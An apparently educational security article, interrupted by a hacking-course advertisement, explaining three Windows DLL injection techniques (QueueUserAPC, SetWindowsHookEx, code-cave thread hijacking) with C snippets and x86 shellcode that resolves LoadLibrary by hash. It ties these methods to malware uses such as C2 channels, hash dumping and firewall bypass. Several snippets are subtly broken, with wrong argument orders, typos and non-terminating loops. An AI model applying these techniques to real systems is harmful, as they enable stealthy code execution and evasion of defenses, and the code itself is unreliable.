DLL Injection using QueueUserAPC

We begin by creating a process using CreateProcess, which is the where we are trying to inject the code into:

PROCESS_INFORMATION pi;
 STARTUPINFOA Startup;
 ZeroMemory(&Startup, sizeof(Startup));
 ZeroMemory(&pi, sizeof(pi));
 CreateProcessA("C:\Windows\notepad.exe" NULL, NULL, NULL, NULL, CREATE_SUSPENDED, NULL, NULL, &Startup, &pi);

Once the process is created, OpenProcess is called with the following arguments:

OpenProcess(PROCESS_ALL_ACCESS,FALSE, /*ProcessId*/ 348);

Once the process is opened with all access, memory can be allocated to it using VirtualAllocEx().

PVOID mem = VirtualAllocEx(Process_handle, NULL, 0x21, MEM_COMMIT, PAGE_READWRITE);

Once the memory is allocated, the following data is injected into it using WriteProcessMemory().

WriteProcessMemory(/*hProcess*/00000070,/*Address*/mem,/*Buffer*/0012FD20, /*BytesToWrite */ 21 ,/*BytesWritten*/ 0012F9D0);

The buffer copied contains the value: C:WINDOWSsystem32injecteddll.dll. This DLL is the one we are trying to inject into Notepad.exe.

After that, we use Thread32First and Thread32Next to get the thread ID of Notepad.exe. To do this, first a Call to CreateToolhelp32Snapshot is made:

HANDLE h = CreateToolhelp32Snapshot(/*process id */ 0 , /*flags*/TH32CS_SNAPALL);

Next, the following code is executed to get the thread ID for the process Notepad.exe:

LPTHREADENTRY32 arr;
Thread32First(h, arr);
While(1)
{
if(Arr.
		th32OwnerProcessID == process_id_of_notepad.exe)
{
HANDLE h = OpenThread (THREAD_ALL_ACCESS , 0, Arr.th32ThreadID);
HANDLE addr = GetProcessAdress("LoadLibraryA", GetModuleHandleA("Kernel32.dll"));
QueueUserAPC(addr, h, mem);
}
Else
Thread32Next(h, arr);
}

Once the above code is executed, the API “QueueUserAPC” adds a user-mode asynchronous procedure call (APC) object to the APC queue of the specified thread.

If an application queues an APC before the thread begins running, the thread begins by calling the APC function. Hence, once an APC is queued, the thread is resumed, and once that’s done, the APC is executed immediately.

The SetWindowsHookEx method

The SetWindowsHookEx method is a little bit more intrusive than the first, and creates more of a commotion in the injected process, which we normally don’t want. However, it is a little bit easier to use, and does have its own advantages, like being able to inject into every process on the system in one shot.

The SetWindowsHookEx() function is designed to allow you to “hook” Windows messages for a given thread. This requires that you inject a DLL into that process’s address space, so SetWindowsHookEx() handles all that for us. The DLL must have a function for the hook that it created though, otherwise it will crash.

HHOOK SetWindowsHookEx(
    int idHook,
    HOOKPROC lpfn,
    HINSTANCE hMod,
    DWORD dwThreadId
);

The variable idHook is just that, the ID of the message that we want to hook. We’ll be using WH_CBT message.

WH_CBT Installs a hook procedure that receives notifications useful to a computer-based training (CBT) application.

We’ll need to create a CBT hook procedure in our DLL, so that when the hook is called, we can handle it properly.

Want to learn more?? The InfoSec Institute Ethical Hacking course goes in-depth into the techniques used by malicious, black hat hackers with attention getting lectures and hands-on lab exercises. While these hacking skills can be used for malicious purposes, this class teaches you how to use the same hacking techniques to perform a white-hat, ethical hack, on your organization. You leave with the ability to quantitatively assess and measure threats to information assets; and discover where your organization is most vulnerable to black hat hackers. Some features of this course include:

  • Dual Certification - CEH and CPT
  • 5 days of Intensive Hands-On Labs
  • Expert Instruction
  • CTF exercises in the evening
  • Most up-to-date proprietary courseware available
LRESULT CALLBACK CBTProc(int nCode, WPARAM wParam, LPARAM lParam)
{
    return CallNextHookEx(0, nCode, wParam, lParam);
};

All we’re doing is calling the next hook in the chain of hooks that exist for this message. Getting back to the SetWindowsHookEx() function, the next parameter we see is lpfn.

lpfn is exactly as it sounds: “long pointer to function.” That’s a pointer to our CBT hook proc function. To get this, we’ll have to either hardcode the address, or load the DLL first ourselves. We’ll load the DLL using LoadLibrary() and use GetProcAddress() to get the address of our function.

HMODULE hDll;
unsigned long cbtProcAddr;
hDll        = LoadLibrary("injected.dll");
cbtProcAddr = GetProcAddress(hDll, "CBTProc");

Now, in cbtProcAddr, we have the address of our function. Parameter 3 of SetWindowsHookEx() is a handle to our DLL, and we’ve already obtained this in the process of getting the address of CBTProc. hDll is a handle to our DLL, returned by LoadLibrary.

Now, there is only one parameter left in the SetWindowsHookEx() function, the dwThreadId parameter. If you want to inject your DLL into every process on the system, which is useful for global function hooks, keyloggers, Trojans, rootkits, etc., you can simply specify 0 for this parameter. If you want to target a specific process, you’ll need to get the ID of one of its threads.

BOOL InjectDll(char *dllName)
{
    HMODULE hDll;
    unsigned long cbtProcAddr;
    hDll        = LoadLibrary(dllName);
    cbtProcAddr = GetProcAddress(hDll, "CBTProc");
    SetWindowsHookEx(WH_CBT, cbtProcAddr, hDll, 0 /*Specific process id */);
    return TRUE;
}

The code cave method

In this method, code is injected into the target process by allocating a chunk of memory in the target process. This code is responsible for loading the DLL into the process.

The following code will be used to do this:

pushfd
pushad
push RET_ADDR
push DLL_NAME
call LOADLIBRARY_LOCATE
call eax
      //   Restore the registers and flags
popad
popfd
    //   Return control to the hijacked thread
  Ret
LOADLIBRARY_LOCATE:
Call find_kernel32
Push eax
Push HASH_of_LoadLibrary
Call find_function
/* EAX will hold the absolute address of LoadLibrary*/
find_kernel32:
push esi
xor eax, eax
mov eax, fs:[eax+0x30]
mov eax, [eax + 0x0c]
mov esi, [eax + 0x1c]
lodsd
mov eax, [eax + 0x8]
pop esi
ret
find_function:
mov ebp, [esp+4]
mov eax, [ebp + 0x3c]
mov edx, [ebp + eax + 0x78]
add edx, ebp
mov ecx, [edx + 0x18]
mov ebx, [edx + 0x20]
add ebx, ebp
find_function_loop:
jecxz find_function_finished
dec ecx
mov esi, [ebx + ecx * 4]
add esi, ebp
compute_hash:
xor edi, edi
xor eax, eax
cld
compute_hash_again:
lodsb
test al, al
jz compute_hash_finished
ror edi, 0xd
add edi, eax
jmp compute_hash_again
compute_hash_finished:
find_function_compare:
cmp edi, [esp + 0x8]
jnz find_function_loop
mov ebx, [edx + 0x24]
add ebx, ebp
mov cx, [ebx + 2 * ecx]
mov ebx, [edx + 0x1c]
add ebx, ebp
mov eax, [ebx + 4 * ecx]
add eax, ebp
find_function_finished:
ret

Now, before injecting the code, the section DLL_NAME and RET_ADDR need to be patched with the address of the DLL’s filename and return address. This is the address where the thread should resume once the code stub has finished execution.

Now let’s move on to allocating memory in the process where the DLL needs to be injected. There are two kinds of memory that needs to be injected:

  1. Memory with read and write privileges: this memory will hold the name of the DLL file.
  2. Memory with read, write and execute privileges: this memory will hold the code stub that will load the DLL.
void *dllname, *code;
HANDLE process;

process = OpenProcess((PROCESS_VM_WRITE | PROCESS_VM_OPERATION), false, 342/*processed*/);
dllname = VirtualAllocEx(process, NULL, (strlen(DLLS_NAME) + 1), MEM_COMMIT, PAGE_READWRITE);
code      = VirtualAllocEx(process, NULL, codelength, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(process, dllname, DLLS_NAME, strlen(DLLS_NAME), NULL);

The next thing that we need to get is the context of one of the threads running in the process that needs to be injected with code. To find the thread, we can use the technique mentioned in the first section of the article “DLL Injection using QueueUserAPC,” which is using Thread32First and Thread32Next. Once we have the thread ID, we can use the following code to get and set the threads context:

HANDLE thread   = OpenThread((THREAD_GET_CONTEXT | THREAD_SET_CONTEXT | THREAD_SUSPEND_RESUME), false, thread /*from Thread32First()*/);

Once we have opened the handle to the thread, we need to suspend the thread and capture its context. The context of a thread is the state of its registers such as Integer Registers, Debug registers, control registers, and Floating point registers, but the one we are interested in is EIP.

Since the thread is suspended, we can change the EIP value and force it to continue its execution in a different path altogether. Here we’ll change its execution path to the location of our stub code:

SuspendThread(thread);
GetThreadContext(thread, &ctx);
oldIP   = ctx.Eip;
ctx.Eip = (DWORD)code;
ctx.ContextFlags = CONTEXT_CONTROL;
//Patch RET_ADDR
memcpy((void *)((unsigned long)code_orig + 3), &oldIP, 4);
//Patch the DLL_NAME
memcpy((void *)((unsigned long)code_orig + 8), &dllname, 4);
WriteProcessMemory(hProcess, code, code_orig, stubLen, NULL);
SetThreadContext(hThread, &ctx);
ResumeThread(hThread);

The above code first suspends the thread and captures the context, and from the context it extracts the EIP, which is recorded as the point to resume execution when our code stub finishes. The new EIP is set as our injected code’s location.

The next step is to patch the marked locations with data such as the DLL filename address and return address.

We can see that the instruction push 0xAAAAAAAA is at offset 0×3 from the start (from the fig. below). This will hold the return address, and we can copy the value of oldIP to this location.

The second push, as you can see, holds the address of the DLL name, that is push 0xBBBBBBBB, and the offset where the value is placed is 0×8. The value dllname is copied at this location.


The next important part is to locate the address of LoadLibrary, which can vary because the ASLR in newer OS randomizes the load locations of kernel32.dll.

To get around that, the code “LOADLIBRARY_LOCATE” is added. This will locate the API within kernel32.dll and place a call to it. This routine is taken from Skape’s “Understanding Windows Shellcode” white paper.

When all the modifications are done, it will be injected into the process and then the context of the thread is set and its execution resumed.

Once the thread starts execution, the DLL will be loaded and after that process is finished, it will return back to the point it was suspended at and begin its execution there.

Conclusion

This article outlines few of the code injection techniques commonly used in modern malware to inject code into another processes for various purposes like creating a C2 channel (a command and control channel), dumping hashes for ex. hash dump softwares like pwdump etc.. These techniques are useful in bypassing protections like firewalls permitted programs (which contains the list of processes allowed to communicate with the internet).

One other thing that needs attention is the injected code, if it has errors or if it crashes, it can pull down the entire process. So the code needs to be written very carefully and tested thoroughly before injecting it into another process.

References

  1. http://www.codeproject.com/Articles/4610/Three-Ways-to-Inject-Your-Code-into-Another-Proces
  2. http://www.abysssec.com/blog/2009/01/03/how-bypass-firewall-with-process-injection/
  3. http://software.rkuster.com/articles/winspy.htm